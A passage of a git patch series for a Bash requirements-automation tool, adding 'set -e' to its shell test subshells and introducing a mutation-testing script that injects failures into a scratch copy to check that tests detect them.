-778,6 +843,7 @@ echo "--- Schema: check_schema_version ---" # Test: check_schema_version warns on missing version ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"requirementsDir":"docs/requirements"}' > "$TEST_TEMP/no-version.json" output=$(check_schema_version "$TEST_TEMP/no-version.json" 2>&1) @@ -787,6 +853,7 @@ test_result "schema: check_schema_version warns on missing version" $? # Test: check_schema_version passes on correct version ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"version":"0.3.0"}' > "$TEST_TEMP/good-version.json" check_schema_version "$TEST_TEMP/good-version.json" 2>/dev/null @@ -795,6 +862,7 @@ test_result "schema: check_schema_version passes on exact version" $? # Test: check_schema_version errors on incompatible major version ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"version":"9.0.0"}' > "$TEST_TEMP/bad-version.json" ! check_schema_version "$TEST_TEMP/bad-version.json" 2>/dev/null @@ -803,6 +871,7 @@ test_result "schema: check_schema_version rejects incompatible major" $? # Test: check_schema_version passes for nonexistent file ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" check_schema_version "$TEST_TEMP/nonexistent.json" 2>/dev/null ) @@ -810,6 +879,7 @@ test_result "schema: check_schema_version passes for nonexistent file" $? # Test: check_schema_version accepts older minor (0.2.0 same major) ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"version":"0.2.0"}' > "$TEST_TEMP/older-minor.json" check_schema_version "$TEST_TEMP/older-minor.json" 2>/dev/null @@ -818,6 +888,7 @@ test_result "schema: check_schema_version accepts older minor (0.2.0)" $? # Test: check_schema_version warns on newer minor (0.9.0) ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"version":"0.9.0"}' > "$TEST_TEMP/newer-minor.json" output=$(check_schema_version "$TEST_TEMP/newer-minor.json" 2>&1) @@ -829,6 +900,7 @@ test_result "schema: check_schema_version warns on newer minor (0.9.0)" $? # Test: check_schema_version accepts patch difference (0.3.1) ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"version":"0.3.1"}' > "$TEST_TEMP/patch-diff.json" check_schema_version "$TEST_TEMP/patch-diff.json" 2>/dev/null @@ -840,6 +912,7 @@ echo "--- Schema: validate_config_schema ---" # Test: validate_config_schema passes for valid config fixture ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" validate_config_schema "$REQDRIVE_ROOT/tests/fixtures/valid-manifest.json" 2>/dev/null ) @@ -847,6 +920,7 @@ test_result "schema: validate_config_schema passes for valid config" $? # Test: validate_config_schema passes for empty object ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{}' > "$TEST_TEMP/empty.json" validate_config_schema "$TEST_TEMP/empty.json" 2>/dev/null @@ -855,6 +929,7 @@ test_result "schema: validate_config_schema passes for empty object" $? # Test: validate_config_schema fails for invalid JSON ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo 'not json' > "$TEST_TEMP/bad.json" ! validate_config_schema "$TEST_TEMP/bad.json" 2>/dev/null @@ -863,6 +938,7 @@ test_result "schema: validate_config_schema rejects invalid JSON" $? # Test: validate_config_schema fails when requirementsDir is wrong type ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"requirementsDir": 123}' > "$TEST_TEMP/bad-type.json" output=$(validate_config_schema "$TEST_TEMP/bad-type.json" 2>&1) && exit 1 @@ -872,6 +948,7 @@ test_result "schema: validate_config_schema rejects non-string requirementsDir" # Test: validate_config_schema fails when maxIterations is wrong type ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"maxIterations": "ten"}' > "$TEST_TEMP/bad-iter.json" output=$(validate_config_schema "$TEST_TEMP/bad-iter.json" 2>&1) && exit 1 @@ -881,6 +958,7 @@ test_result "schema: validate_config_schema rejects non-number maxIterations" $? # Test: validate_config_schema fails when prLabels is wrong type ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"prLabels": "not-an-array"}' > "$TEST_TEMP/bad-labels.json" output=$(validate_config_schema "$TEST_TEMP/bad-labels.json" 2>&1) && exit 1 @@ -890,6 +968,7 @@ test_result "schema: validate_config_schema rejects non-array prLabels" $? # Test: validate_config_schema reports multiple errors at once ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" output=$(validate_config_schema "$REQDRIVE_ROOT/tests/fixtures/invalid-manifest-missing-fields.json" 2>&1) && exit 1 echo "$output" | grep -q "requirementsDir must be a string" && @@ -903,6 +982,7 @@ echo "--- Schema: validate_prd_schema ---" # Test: validate_prd_schema passes for valid PRD fixture ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" validate_prd_schema "$REQDRIVE_ROOT/tests/fixtures/valid-prd.json" 2>/dev/null ) @@ -910,6 +990,7 @@ test_result "schema: validate_prd_schema passes for valid PRD" $? # Test: validate_prd_schema rejects invalid JSON ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo 'not json' > "$TEST_TEMP/bad-prd.json" ! validate_prd_schema "$TEST_TEMP/bad-prd.json" 2>/dev/null @@ -918,6 +999,7 @@ test_result "schema: validate_prd_schema rejects invalid JSON" $? # Test: validate_prd_schema rejects missing project field ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"sourceReq":"REQ-01","userStories":[]}' > "$TEST_TEMP/no-project.json" output=$(validate_prd_schema "$TEST_TEMP/no-project.json" 2>&1) && exit 1 @@ -927,6 +1009,7 @@ test_result "schema: validate_prd_schema rejects missing project" $? # Test: validate_prd_schema rejects missing sourceReq field ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"project":"Test","userStories":[]}' > "$TEST_TEMP/no-req.json" output=$(validate_prd_schema "$TEST_TEMP/no-req.json" 2>&1) && exit 1 @@ -936,6 +1019,7 @@ test_result "schema: validate_prd_schema rejects missing sourceReq" $? # Test: validate_prd_schema rejects missing userStories ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" output=$(validate_prd_schema "$REQDRIVE_ROOT/tests/fixtures/invalid-prd-missing-stories.json" 2>&1) && exit 1 echo "$output" | grep -q "userStories" @@ -944,6 +1028,7 @@ test_result "schema: validate_prd_schema rejects missing userStories" $? # Test: validate_prd_schema rejects non-array userStories ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"project":"Test","sourceReq":"REQ-01","userStories":"not-array"}' > "$TEST_TEMP/bad-stories.json" output=$(validate_prd_schema "$TEST_TEMP/bad-stories.json" 2>&1) && exit 1 @@ -953,6 +1038,7 @@ test_result "schema: validate_prd_schema rejects non-array userStories" $? # Test: validate_prd_schema passes with empty stories array ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"project":"Test","sourceReq":"REQ-01","userStories":[]}' > "$TEST_TEMP/empty-stories.json" validate_prd_schema "$TEST_TEMP/empty-stories.json" 2>/dev/null @@ -961,6 +1047,7 @@ test_result "schema: validate_prd_schema passes with empty stories array" $? # Test: validate_prd_schema rejects story missing id ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" cat > "$TEST_TEMP/no-id.json" <<'EOF' {"project":"T","sourceReq":"REQ-01","userStories":[{"title":"X","acceptanceCriteria":["a"]}]} @@ -972,6 +1059,7 @@ test_result "schema: validate_prd_schema rejects story missing id" $? # Test: validate_prd_schema rejects story missing title ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" cat > "$TEST_TEMP/no-title.json" <<'EOF' {"project":"T","sourceReq":"REQ-01","userStories":[{"id":"US-001","acceptanceCriteria":["a"]}]} @@ -983,6 +1071,7 @@ test_result "schema: validate_prd_schema rejects story missing title" $? # Test: validate_prd_schema rejects story missing acceptanceCriteria ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" cat > "$TEST_TEMP/no-ac.json" <<'EOF' {"project":"T","sourceReq":"REQ-01","userStories":[{"id":"US-001","title":"X"}]} @@ -994,6 +1083,7 @@ test_result "schema: validate_prd_schema rejects story missing acceptanceCriteri # Test: validate_prd_schema rejects non-array acceptanceCriteria ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" cat > "$TEST_TEMP/bad-ac.json" <<'EOF' {"project":"T","sourceReq":"REQ-01","userStories":[{"id":"US-001","title":"X","acceptanceCriteria":"not-array"}]} @@ -1005,6 +1095,7 @@ test_result "schema: validate_prd_schema rejects non-array acceptanceCriteria" $ # Test: validate_prd_schema rejects non-boolean passes ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" cat > "$TEST_TEMP/bad-passes.json" <<'EOF' {"project":"T","sourceReq":"REQ-01","userStories":[{"id":"US-001","title":"X","acceptanceCriteria":["a"],"passes":"yes"}]} @@ -1016,6 +1107,7 @@ test_result "schema: validate_prd_schema rejects non-boolean passes" $? # Test: validate_prd_schema rejects non-number priority ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" cat > "$TEST_TEMP/bad-priority.json" <<'EOF' {"project":"T","sourceReq":"REQ-01","userStories":[{"id":"US-001","title":"X","acceptanceCriteria":["a"],"priority":"high"}]} @@ -1027,6 +1119,7 @@ test_result "schema: validate_prd_schema rejects non-number priority" $? # Test: validate_prd_schema passes when priority is missing (optional) ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" cat > "$TEST_TEMP/no-priority.json" <<'EOF' {"project":"T","sourceReq":"REQ-01","userStories":[{"id":"US-001","title":"X","acceptanceCriteria":["a"],"passes":false}]} @@ -1040,6 +1133,7 @@ echo "--- Schema: validate_checkpoint_schema ---" # Test: validate_checkpoint_schema passes for valid checkpoint fixture ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" validate_checkpoint_schema "$REQDRIVE_ROOT/tests/fixtures/valid-checkpoint.json" 2>/dev/null ) @@ -1047,6 +1141,7 @@ test_result "schema: validate_checkpoint_schema passes for valid checkpoint" $? # Test: validate_checkpoint_schema rejects invalid JSON ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo 'not json' > "$TEST_TEMP/bad-cp.json" ! validate_checkpoint_schema "$TEST_TEMP/bad-cp.json" 2>/dev/null @@ -1055,6 +1150,7 @@ test_result "schema: validate_checkpoint_schema rejects invalid JSON" $? # Test: validate_checkpoint_schema rejects missing req_id ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"branch":"b","iteration":1}' > "$TEST_TEMP/no-reqid.json" output=$(validate_checkpoint_schema "$TEST_TEMP/no-reqid.json" 2>&1) && exit 1 @@ -1064,6 +1160,7 @@ test_result "schema: validate_checkpoint_schema rejects missing req_id" $? # Test: validate_checkpoint_schema rejects missing branch ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"req_id":"REQ-01","iteration":1}' > "$TEST_TEMP/no-branch.json" output=$(validate_checkpoint_schema "$TEST_TEMP/no-branch.json" 2>&1) && exit 1 @@ -1073,6 +1170,7 @@ test_result "schema: validate_checkpoint_schema rejects missing branch" $? # Test: validate_checkpoint_schema rejects missing iteration ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"req_id":"REQ-01","branch":"b"}' > "$TEST_TEMP/no-iter.json" output=$(validate_checkpoint_schema "$TEST_TEMP/no-iter.json" 2>&1) && exit 1 @@ -1082,6 +1180,7 @@ test_result "schema: validate_checkpoint_schema rejects missing iteration" $? # Test: validate_checkpoint_schema rejects non-number iteration ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"req_id":"REQ-01","branch":"b","iteration":"three"}' > "$TEST_TEMP/bad-iter.json" output=$(validate_checkpoint_schema "$TEST_TEMP/bad-iter.json" 2>&1) && exit 1 @@ -1094,6 +1193,7 @@ echo "--- Iteration Summary Tests ---" # Test: extract_iteration_summary extracts valid summary ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1126,6 +1226,7 @@ test_result "summary: extract_iteration_summary extracts valid block" $? # Test: extract_iteration_summary handles missing summary gracefully ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1147,6 +1248,7 @@ echo "--- Implementation Prompt Sanitization Tests ---" # Test: build_implementation_prompt neutralizes $(cmd) in story title ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1169,6 +1271,7 @@ test_result "impl prompt: neutralizes \$(cmd) in story title" $? # Test: build_implementation_prompt neutralizes backticks in story description ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1190,6 +1293,7 @@ test_result "impl prompt: neutralizes backticks in story description" $? # Test: build_implementation_prompt neutralizes ${VAR} in acceptance criteria ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1213,6 +1317,7 @@ echo "--- CLI Tests ---" # Test: --version shows version (no claude needed) ( + set -e output=$("$REQDRIVE_ROOT/bin/reqdrive" --version 2>&1) echo "$output" | grep -q "0.3.0" ) @@ -1220,6 +1325,7 @@ test_result "cli: --version shows 0.3.0" $? # Test: --help shows usage (no claude needed) ( + set -e output=$("$REQDRIVE_ROOT/bin/reqdrive" --help 2>&1) echo "$output" | grep -q "Usage:" && echo "$output" | grep -q "init" && @@ -1230,6 +1336,7 @@ test_result "cli: --help shows usage" $? # Test: --help shows new flags ( + set -e output=$("$REQDRIVE_ROOT/bin/reqdrive" --help 2>&1) echo "$output" | grep -q "\-\-interactive" && echo "$output" | grep -q "\-\-unsafe" && @@ -1240,6 +1347,7 @@ test_result "cli: --help shows security flags" $? # Test: unknown command shows error (no claude needed) ( + set -e output=$("$REQDRIVE_ROOT/bin/reqdrive" unknown-cmd 2>&1) || true echo "$output" | grep -q "Unknown command" ) @@ -1247,6 +1355,7 @@ test_result "cli: unknown command shows error" $? # Test: validate command works (no claude needed) ( + set -e cd "$TEST_TEMP" mkdir -p docs/requirements cat > reqdrive.json <<'EOF' @@ -1260,6 +1369,7 @@ test_result "cli: validate command works" $? # Test: run requires REQ-ID (requires claude) if [ "$HAS_CLAUDE" = "true" ]; then ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {"requirementsDir":"docs/requirements"} @@ -1277,6 +1387,7 @@ echo "--- Run State: write_run_status ---" # Test: write_run_status creates valid run.json with all fields ( + set -e mkdir -p "$TEST_TEMP/run-state" export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" @@ -1296,6 +1407,7 @@ test_result "run_status: creates valid run.json with all fields" $? # Test: write_run_status preserves started_at on subsequent calls ( + set -e mkdir -p "$TEST_TEMP/run-state2" export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" @@ -1317,6 +1429,7 @@ test_result "run_status: preserves started_at on subsequent calls" $? # Test: write_run_status records current PID ( + set -e mkdir -p "$TEST_TEMP/run-state3" export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" @@ -1336,6 +1449,7 @@ echo "--- Checkpoint: save/load ---" # Test: save_checkpoint creates valid checkpoint.json ( + set -e mkdir -p "$TEST_TEMP/cp-test" export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" @@ -1362,6 +1476,7 @@ test_result "checkpoint: save_checkpoint creates valid checkpoint.json" $? # Test: save_checkpoint records completed story IDs ( + set -e mkdir -p "$TEST_TEMP/cp-test2" export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" @@ -1385,6 +1500,7 @@ test_result "checkpoint: records completed story IDs from PRD" $? # Test: load_checkpoint returns path for matching req_id ( + set -e mkdir -p "$TEST_TEMP/cp-load" export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" @@ -1404,6 +1520,7 @@ test_result "checkpoint: load returns path for matching req_id" $? # Test: load_checkpoint returns empty for mismatched req_id ( + set -e mkdir -p "$TEST_TEMP/cp-load2" export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" @@ -1423,6 +1540,7 @@ test_result "checkpoint: load returns empty for mismatched req_id" $? # Test: load_checkpoint returns empty for missing file ( + set -e mkdir -p "$TEST_TEMP/cp-load3" export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" @@ -1438,6 +1556,7 @@ test_result "checkpoint: load returns empty for missing file" $? # Test: save_checkpoint includes last_commit_sha field ( + set -e tmpdir=$(mktemp -d) trap "rm -rf $tmpdir" EXIT cd "$tmpdir" @@ -1470,6 +1589,7 @@ echo "--- Story Selection ---" # Test: select_next_story returns lowest-priority incomplete story ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1492,6 +1612,7 @@ test_result "story: select_next_story returns lowest-priority incomplete" $? # Test: select_next_story returns empty when all stories pass ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1513,6 +1634,7 @@ test_result "story: select_next_story returns empty when all pass" $? # Test: select_next_story returns empty when no PRD file ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1527,6 +1649,7 @@ test_result "story: select_next_story returns empty for missing PRD" $? # Test: get_story_details returns correct story JSON by ID ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1548,6 +1671,7 @@ test_result "story: get_story_details returns correct story by ID" $? # Test: select_next_story skips stories with attempts >= max ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1569,6 +1693,7 @@ test_result "story: select_next_story skips stories with attempts >= max" $? # Test: select_next_story returns story with attempts < max ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1590,6 +1715,7 @@ test_result "story: select_next_story returns story with attempts < max" $? # Test: select_next_story returns empty when all stories exhausted ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1614,6 +1740,7 @@ echo "--- Prompt Builders ---" # Test: build_planning_prompt creates file containing requirement content ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1629,6 +1756,7 @@ test_result "prompt: build_planning_prompt includes requirement content" $? # Test: build_planning_prompt includes PRD schema in output ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1644,6 +1772,7 @@ test_result "prompt: build_planning_prompt includes PRD schema" $? # Test: build_planning_prompt uses quoted heredoc (safe) ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1662,6 +1791,7 @@ echo "--- Completion Hook ---" # Test: run_completion_hook executes command with env vars ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1679,6 +1809,7 @@ test_result "hook: executes command with env vars" $? # Test: run_completion_hook is no-op when hook is empty ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1694,6 +1825,7 @@ test_result "hook: no-op when hook is empty" $? # Test: run_completion_hook handles failing hook gracefully ( + set -e export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/sanitize.sh" @@ -1712,6 +1844,7 @@ echo "--- CLI Commands ---" # Test: status with no runs shows "No runs found" ( + set -e tmpdir=$(mktemp -d) trap "rm -rf $tmpdir" EXIT cd "$tmpdir" @@ -1726,6 +1859,7 @@ test_result "cli: status with no runs shows 'No runs found'" $? # Test: status with run.json shows status fields ( + set -e tmpdir=$(mktemp -d) trap "rm -rf $tmpdir" EXIT cd "$tmpdir" @@ -1745,6 +1879,7 @@ test_result "cli: status with run.json shows status fields" $? # Test: logs with missing log file shows error ( + set -e tmpdir=$(mktemp -d) trap "rm -rf $tmpdir" EXIT cd "$tmpdir" @@ -1759,6 +1894,7 @@ test_result "cli: logs with missing log file shows error" $? # Test: migrate adds version to versionless config ( + set -e tmpdir=$(mktemp -d) trap "rm -rf $tmpdir" EXIT cd "$tmpdir" @@ -1773,6 +1909,7 @@ test_result "cli: migrate adds version to versionless config" $? # Test: migrate skips config that already has version ( + set -e tmpdir=$(mktemp -d) trap "rm -rf $tmpdir" EXIT cd "$tmpdir" @@ -1787,6 +1924,7 @@ test_result "cli: migrate skips config that already has version" $? # Test: plan without args shows usage (requires claude) if [ "$HAS_CLAUDE" = "true" ]; then ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {"version":"0.3.0","requirementsDir":"docs/requirements"} @@ -1801,6 +1939,7 @@ fi # Test: orchestrate shows "coming soon" stub ( + set -e output=$("$REQDRIVE_ROOT/bin/reqdrive" orchestrate 2>&1) echo "$output" | grep -qi "coming soon" ) @@ -1811,6 +1950,7 @@ echo "--- Preflight: Missing Coverage ---" # Test: check_base_branch_exists passes when branch exists locally ( + set -e tmpdir=$(mktemp -d) trap "rm -rf $tmpdir" EXIT cd "$tmpdir" @@ -1826,6 +1966,7 @@ test_result "preflight: check_base_branch_exists passes for local branch" $? # Test: check_requirements_dir passes when dir exists with .md files ( + set -e tmpdir=$(mktemp -d) trap "rm -rf $tmpdir" EXIT mkdir -p "$tmpdir/docs/requirements" @@ -1838,6 +1979,7 @@ test_result "preflight: check_requirements_dir passes with .md files" $? # Test: check_requirement_exists finds matching requirement file ( + set -e tmpdir=$(mktemp -d) trap "rm -rf $tmpdir" EXIT mkdir -p "$tmpdir/docs/requirements" @@ -1853,6 +1995,7 @@ echo "--- PR Creation ---" # Test: create_pr outputs URL to stdout (captured by caller) ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" # Mock gh and git @@ -1889,6 +2032,7 @@ test_result "pr: create_pr outputs URL to stdout" $? # Test: create_pr retries without labels when gh pr create fails with labels ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" tmpdir=$(mktemp -d) @@ -1937,6 +2081,7 @@ test_result "pr: create_pr retries without labels on failure" $? # Test: create_pr returns non-zero when gh pr create fails without labels ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" gh() { @@ -1974,6 +2119,7 @@ echo "--- Init Verification ---" # Test: init creates reqdrive.json with version 0.3.0 ( + set -e tmpdir=$(mktemp -d) trap "rm -rf $tmpdir" EXIT cd "$tmpdir" @@ -1986,6 +2132,7 @@ test_result "init: creates reqdrive.json with version 0.3.0" $? # Test: init creates .reqdrive/runs/ directory ( + set -e tmpdir=$(mktemp -d) trap "rm -rf $tmpdir" EXIT cd "$tmpdir" @@ -1999,6 +2146,7 @@ echo "--- Run Summary & Verification ---" # Test: write_run_status includes summary when RUN_SUMMARY_* vars are set ( + set -e mkdir -p "$TEST_TEMP/run-summary1" export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" @@ -2034,6 +2182,7 @@ test_result "run_status: includes summary when RUN_SUMMARY_* vars set" $? # Test: write_run_status has null summary when accumulators not set ( + set -e mkdir -p "$TEST_TEMP/run-summary2" export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" @@ -2052,6 +2201,7 @@ test_result "run_status: summary is null when accumulators not set" $? # Test: write_run_status summary is valid JSON ( + set -e mkdir -p "$TEST_TEMP/run-summary3" export REQDRIVE_ROOT source "$REQDRIVE_ROOT/lib/errors.sh" @@ -2078,6 +2228,7 @@ test_result "run_status: run.json with summary is valid JSON" $? # Test: PR body includes verification section when verification-summary.json exists ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" gh() { @@ -2164,6 +2315,7 @@ test_result "pr: body includes verification section from summary" $? # Test: PR body has no verification section when no summary file ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" tmpdir=$(mktemp -d) @@ -2214,6 +2366,7 @@ echo "--- Review Phase ---" # Test: config defaults reviewCommand to empty string ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {} @@ -2226,6 +2379,7 @@ test_result "review: config defaults reviewCommand to empty string" $? # Test: config reads reviewCommand from JSON ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {"reviewCommand": "builtin"} @@ -2238,6 +2392,7 @@ test_result "review: config reads reviewCommand from JSON" $? # Test: schema accepts string reviewCommand ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"reviewCommand": "builtin"}' > "$TEST_TEMP/review-str.json" validate_config_schema "$TEST_TEMP/review-str.json" 2>/dev/null @@ -2246,6 +2401,7 @@ test_result "review: schema accepts string reviewCommand" $? # Test: schema rejects non-string reviewCommand ( + set -e source "$REQDRIVE_ROOT/lib/schema.sh" echo '{"reviewCommand": 123}' > "$TEST_TEMP/review-bad.json" output=$(validate_config_schema "$TEST_TEMP/review-bad.json" 2>&1) && exit 1 @@ -2255,6 +2411,7 @@ test_result "review: schema rejects non-string reviewCommand" $? # Test: update_pr_with_review formats findings into PR body ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" tmpdir=$(mktemp -d) @@ -2309,6 +2466,7 @@ echo "--- Harness Safety ---" # Test: suite refuses to run when mktemp fails ( + set -e set -e fake_bin="$TEST_TEMP/fakebin" mkdir -p "$fake_bin" From 35deddf808b3af52c485cd6d35aaa30e0136bdcc Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 10:48:07 -0600 Subject: [PATCH 06/47] test: add mutation harness proving failures surface MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Assertion inversion cannot validate the errexit fix — inverting a body's last line flips the status under both the correct and the broken form. Mutation discriminates: impl-prompt-return1 yields 3 FAILs under the correct harness and 0 under the broken one. --- .github/workflows/ci.yml | 2 +- tests/mutate.sh | 56 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 57 insertions(+), 1 deletion(-) create mode 100644 tests/mutate.sh diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 85346bb..259d6b1 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -26,7 +26,7 @@ jobs: run: shellcheck install.sh - name: Lint test scripts - run: shellcheck tests/simple-test.sh tests/run-tests.sh + run: shellcheck tests/simple-test.sh tests/run-tests.sh tests/mutate.sh syntax-check: name: Bash syntax check diff --git a/tests/mutate.sh b/tests/mutate.sh new file mode 100644 index 0000000..8891d7d --- /dev/null +++ b/tests/mutate.sh @@ -0,0 +1,56 @@ +#!/usr/bin/env bash +# Apply a named mutation to a scratch copy of the repo, run the suite, +# and report how many assertions detected it. +# +# Usage: bash tests/mutate.sh +# Mutations: impl-prompt-return1 | load-checkpoint-return1 | impl-prompt-silent | none +set -uo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)" +MUTANT="${1:-none}" + +WORK=$(mktemp -d) || { echo "FATAL: mktemp failed" >&2; exit 1; } +[ -n "$WORK" ] && [ -d "$WORK" ] || { echo "FATAL: bad WORK" >&2; exit 1; } +trap 'rm -rf "$WORK"' EXIT + +# Copy tracked files only — no .git, no run state. +(cd "$PROJECT_ROOT" && git ls-files -z | tar --null -T - -cf -) | (cd "$WORK" && tar -xf -) + +apply_mutation() { + case "$MUTANT" in + none) ;; + impl-prompt-return1) + # Total failure with an error status. + sed -i 's|^build_implementation_prompt() {|build_implementation_prompt() {\n return 1|' \ + "$WORK/lib/run.sh" + ;; + load-checkpoint-return1) + sed -i 's|^load_checkpoint() {|load_checkpoint() {\n return 1|' \ + "$WORK/lib/run.sh" + ;; + impl-prompt-silent) + # Total failure with a SUCCESS status: writes an empty prompt, returns 0. + # shellcheck disable=SC2016 # "$1" is meant to stay literal — it becomes + # build_implementation_prompt's own arg reference inside the mutated + # lib/run.sh, not something this script should expand. + sed -i 's|^build_implementation_prompt() {|build_implementation_prompt() {\n : > "$1"; return 0|' \ + "$WORK/lib/run.sh" + ;; + *) + echo "FATAL: unknown mutation '$MUTANT'" >&2 + exit 1 + ;; + esac +} + +apply_mutation +bash -n "$WORK/lib/run.sh" || { echo "FATAL: mutation broke syntax" >&2; exit 1; } + +out=$(cd "$WORK" && bash tests/simple-test.sh 2>&1) +rc=$? +fails=$(printf '%s\n' "$out" | sed 's/\x1b\[[0-9;]*m//g' | grep -c '^FAIL: ') +lines=$(printf '%s\n' "$out" | sed 's/\x1b\[[0-9;]*m//g' | grep -cE '^(PASS|FAIL|SKIP): ') + +echo "MUTANT=$MUTANT EXIT=$rc FAILS=$fails RESULT_LINES=$lines" +printf '%s\n' "$out" | sed 's/\x1b\[[0-9;]*m//g' | grep '^FAIL: ' || true From 2521737b5978b0811f129d8813a01a695834553e Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 11:10:00 -0600 Subject: [PATCH 07/47] test: add positive checks to prompt assertions, open findings register Two of the three implementation-prompt assertions were pure negatives that an empty file satisfies, so a silent mutant (empty output, success status) was caught by only 1 of 3. Positive content checks raise that to 2 of 3. Remaining weak assertions are recorded in tests/FINDINGS.md rather than frozen silently. --- tests/FINDINGS.md | 23 +++++++++++++++++++++++ tests/simple-test.sh | 6 ++++++ 2 files changed, 29 